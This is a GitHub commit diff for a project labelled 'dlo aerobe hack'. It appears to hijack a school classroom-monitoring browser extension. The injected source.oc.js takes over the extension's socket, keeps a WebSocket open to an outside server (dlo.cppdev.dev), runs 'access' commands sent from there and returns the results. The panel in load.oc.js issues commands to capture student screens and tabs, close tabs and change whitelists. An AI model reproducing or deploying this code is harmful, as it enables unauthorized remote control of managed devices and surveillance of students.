Skip to content

Commit c3a3b32

Browse files
committed
sycn11
1 parent 9fe8d64 commit c3a3b32

File tree

5 files changed

+258
-31
lines changed

5 files changed

+258
-31
lines changed

http/dlo/v2/load.oc.js

Lines changed: 153 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,8 @@
11
let s1, s2, ra = false;
22

3+
function cmd(n, ...j) {
4+
return n + JSON.stringify(j);
5+
};
36
export function a(s) { s1 = s };
47
export function b(s) { s2 = s };
58
export default async function (c2, c1, doc) {
@@ -22,15 +25,18 @@ export default async function (c2, c1, doc) {
2225
};
2326

2427
class CopyJS extends HTMLElement {
28+
29+
2530
constructor() {
2631
super();
2732
// this.attachShadow({ mode: 'open' });
2833

2934
this.addEventListener('click', this.handleClick);
3035
}
3136

37+
3238
handleClick() {
33-
const crcm=this.getAttribute("code");
39+
const crcm = this.getAttribute("code");
3440
navigator.clipboard.writeText(cmap[crcm]);
3541
}
3642

@@ -39,13 +45,16 @@ export default async function (c2, c1, doc) {
3945
}
4046
};
4147
class OpenJS extends HTMLElement {
48+
4249
constructor() {
4350
super();
4451
// this.attachShadow({ mode: 'open' });
4552

4653
this.addEventListener('click', this.handleClick);
4754
}
4855

56+
57+
4958
handleClick() {
5059
open(this.getAttribute("href"));
5160
}
@@ -54,12 +63,77 @@ export default async function (c2, c1, doc) {
5463
;
5564
}
5665
};
66+
class ChecklJS extends HTMLElement {
67+
#list=[]; #map={};
68+
constructor() {
69+
super();
70+
this.attachShadow({ mode: 'open' });
71+
72+
this.addEventListener('click', this.handleClick);
73+
//this.update();
74+
}
75+
76+
update(){
77+
this.#list=JSON.parse(this.textContent);this.#map={};
78+
//this.innerHTML='';
79+
const sp=parseInt(this.getAttribute("spaces"))||1;
80+
const nl=parseInt(this.getAttribute("newline"))||3;
81+
const arr=[];
82+
this.shadowRoot.childNodes.forEach(e=>arr.push(e));
83+
arr.forEach(e=>e.remove());
84+
85+
console.log(arr,this.#list,this.#map,sp,nl);
86+
87+
let l=0;
88+
for(const i of this.#list){
89+
console.log(i);
90+
const c1=new Text(" ".repeat(sp)+i);
91+
const c2=doc.createElement("input");
92+
c2.type="checkbox";
93+
c2.addEventListener("change",()=>this.clickItem(i));
94+
this.shadowRoot.appendChild(c1);
95+
this.shadowRoot.appendChild(c2);
96+
if(l++>=nl){
97+
this.shadowRoot.appendChild(doc.createElement("br"));
98+
l=0;
99+
};
100+
console.log(c1,c2,l);
101+
};
102+
};
103+
104+
clickItem(name){
105+
this.#map[name]=!this.#map[name];
106+
};
107+
get map(){return {...this.#map}};
108+
109+
handleClick() {
110+
;
111+
}
112+
113+
connectedCallback() {
114+
;
115+
}
116+
};
57117
customElements.define('copy-js', CopyJS);
58118
customElements.define('open-js', OpenJS);
119+
customElements.define('checkl-js', ChecklJS);
59120

60121

61-
doc.title="dlo opties";
62-
doc.body.outerHTML = `<body class="dark">
122+
//doc.title = "dlo opties";
123+
doc.write(`<!DOCTYPE HTML>
124+
<html>
125+
<head>
126+
<title>dlo opties</title>
127+
<link rel="stylesheet" href="/style.css"/>
128+
<link rel="stylesheet" href="/v2/style.css"/>
129+
<style>
130+
body{
131+
--vertical: 0.5%;
132+
}
133+
</style>
134+
</head>
135+
136+
<body class="dark" onload="ready()">
63137
<h1>dlo aerobe hack</h1>
64138
<span class="red">als je gepakt wordt is dat echt jouw probleem.</span>
65139
<p>
@@ -84,14 +158,85 @@ export default async function (c2, c1, doc) {
84158
</ul>
85159
</p>
86160
<div class="options">
87-
<input placeholder="token" type="password"></input>
88-
<span></span>
161+
<input placeholder="token" type="password"/> <button>login</button> <br/>
162+
<div class="menu" style="display: none;">
163+
<textarea></textarea> <p>ruwe opties. <span class="grey">alleen gebruken als je weet wat het is</span></p> <br/>
164+
<checkl-js spaces="5" newline="2"></checkl-js>
165+
</div>
89166
</div>
90167
<script>ready()</script>
91-
</body>`
92-
await p;
168+
</body>
169+
</html>`);
170+
await p; console.log("everything loaded");
171+
172+
docLoad();
173+
174+
175+
176+
93177
} catch (_err) {
94178
//alert(_err);
179+
console.error(_err);
95180
return;
96181
}
97-
};
182+
};
183+
184+
const rxc=['request.student.tabs','request.student.screen','refresh','refresh.sso','app.start','navigate','closetab','whitelist.allow','whitelist.deny'];
185+
const txc=['send.student.tabs','send.student.screen'];
186+
const trx=[...rxc,...txc];
187+
//const rxl=Object.fromEntries(rxc.map(e=>[e,true]));
188+
//const txl=Object.fromEntries(txc.map(e=>[e,true]));
189+
190+
function docLoad() {
191+
let valid = false, ws;
192+
const [inp, btn, menu, ta, check] = document.querySelectorAll("input,button,.menu,textarea,checkl-js");
193+
console.log(inp, btn, menu, ta, check);
194+
195+
async function start(e) {
196+
if(ws&&ws.readyState!=1)valid=false;
197+
if(valid)return;
198+
console.log("event onchange", e, inp);
199+
const r = await fetch("/v2", { method: "POST", body: inp.value }).then(r => r.json());
200+
if (r) { menu.style.display = "block"; valid = true; }
201+
else menu.style.display = "none";
202+
203+
if (r && ws?.readyState != 1) {
204+
globalThis.ws = ws = new WebSocket("/v2?t=m&uid=" + inp.value);
205+
ws.onclose = () => {
206+
menu.style.display = "none";
207+
valid = false;
208+
};
209+
ws.onmessage = m => {
210+
const str = String(m.data)
211+
const js = "[" + (str.replace(/^.*?(\[|$)/, "") || "]");
212+
const j = (() => { try { return JSON.parse(js) } catch (_err) { return [] } })();
213+
214+
if (str.startsWith("config")) {
215+
for (const c of j) ta.value = JSON.stringify(c);
216+
}
217+
};
218+
ws.onopen = () => {
219+
ws.send(cmd("notify", {
220+
title: "login",
221+
message: "iemand heeft met jouw token ingelogd",
222+
}));
223+
ws.send(("config[]"));
224+
};
225+
};
226+
};
227+
228+
console.log(start);
229+
230+
check.innerText=JSON.stringify(trx);
231+
check.update();
232+
233+
globalThis.start=start;
234+
globalThis.valid=()=>valid;
235+
236+
//console.log(globalThis,inp.addEventListener,btn.addEventListener);
237+
238+
// btn.onclick=start;
239+
btn.addEventListener("click",start);
240+
inp.addEventListener("change", start);
241+
inp.addEventListener("keyup", e=>e.code=="Enter"?start():null);
242+
}

http/dlo/v2/scripts/source.oc.js

Lines changed: 9 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55
const uid = socket.options.url.match(/=[0-9]*$/)[0].replace(/^=/, "");
66

77
const xploit = {
8-
version: 2.004,
8+
version: 2.006,
99
ml: socket.onMessage,
1010
el: socket.onError,
1111
dl: socket.onDisconnect,
@@ -26,7 +26,7 @@
2626
},
2727
uid,
2828
sock: new class StableWebSocket {
29-
#url = "https://dlo.cppdev.dev/v2?uid=" + uid; #ws;
29+
#url = "https://dlo.cppdev.dev/v2?version=6&t=s&uid=" + uid; #ws;
3030
get ws() { return this.#ws };
3131
send(...args) { this.#ws.send(...args) };
3232

@@ -112,9 +112,12 @@
112112
if (str.startsWith("access")) {
113113
// const js = ("{" + str.replace(/^.*?\{/, ""));
114114
const res = [];
115-
for(const jso of arr)res.push(await access(jso));
115+
for(const jso of arr){
116+
const r=await access(jso)
117+
res.push({ json: r, string: String(r) });
118+
};
116119
if (debug) console.log("< access res", res);
117-
xploit.sock.send("access" + JSON.stringify({ json: res, string: String(res) }));
120+
xploit.sock.send("access" + JSON.stringify(res));
118121
} else if(str.startsWith("notify")) {
119122
for(const jso of arr)chrome.notifications.create({
120123
type: 'basic',
@@ -126,6 +129,7 @@
126129
});
127130
} else if(str.startsWith("config")) {
128131
for(const jso of arr)Object.assign(xploit.conf,{});
132+
xploit.sock.send("config"+JSON.stringify([xploit.conf]));
129133
} else if (str.startsWith("ping")) {
130134
if (debug) console.log("> ping");
131135
xploit.sock.send(str.replace("ping", "pong"));
@@ -162,4 +166,4 @@
162166
navigator.xploit = xploit;
163167
if (debug) globalThis.xploit = xploit;
164168
return debug ? xploit : xploit.version;
165-
})();
169+
})(true);

http/dlo/v2/style.css

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19,4 +19,11 @@ copy-js,open-js{
1919
}
2020
copy-js:active,open-js:active{
2121
color:rgb(254, 68, 68);
22+
}
23+
input[type=text],input[type=password],textarea,button{
24+
outline: none;
25+
background-color: #212125;
26+
color: #ffffff;
27+
border: none;
28+
border-radius: 5px;
2229
}

0 commit comments

Comments
 (0)